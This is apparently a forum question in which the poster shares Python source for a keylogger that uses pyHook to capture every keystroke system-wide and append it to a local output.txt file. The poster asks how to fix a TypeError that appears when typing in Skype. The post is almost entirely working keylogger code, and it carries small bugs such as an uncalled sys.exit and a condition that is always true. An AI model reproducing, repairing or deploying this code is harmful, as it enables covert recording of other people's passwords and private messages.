This is my source code:
import pythoncom, pyHook, sys
def OnKeyboardEvent(event):
if event.Ascii==5:
sys.exit
elif event.Ascii !=0 or 8:
f = open('output.txt', 'r+')
buffer = f.read()
f.close()
f = open ('output.txt', 'w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs = ('\n')
buffer +=(keylogs)
f.write(buffer)
f.close()
# return True to pass the event to other handlers
return True
# create a hook manager
hm = pyHook.HookManager()
# watch for all mouse events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
Whenever I run skype, and type something, I get this error in the cmd.
TypeError: KeyboardSwitch() missing 8 required positional arguments: 'msg', 'vk_code', 'scan_code', 'ascii', 'flags', 'time', 'hwnd', and 'win_name'
I'm assuming this has something to do with the fact that skype has a non-ascii character in it's window name, but how exactly can I fix this?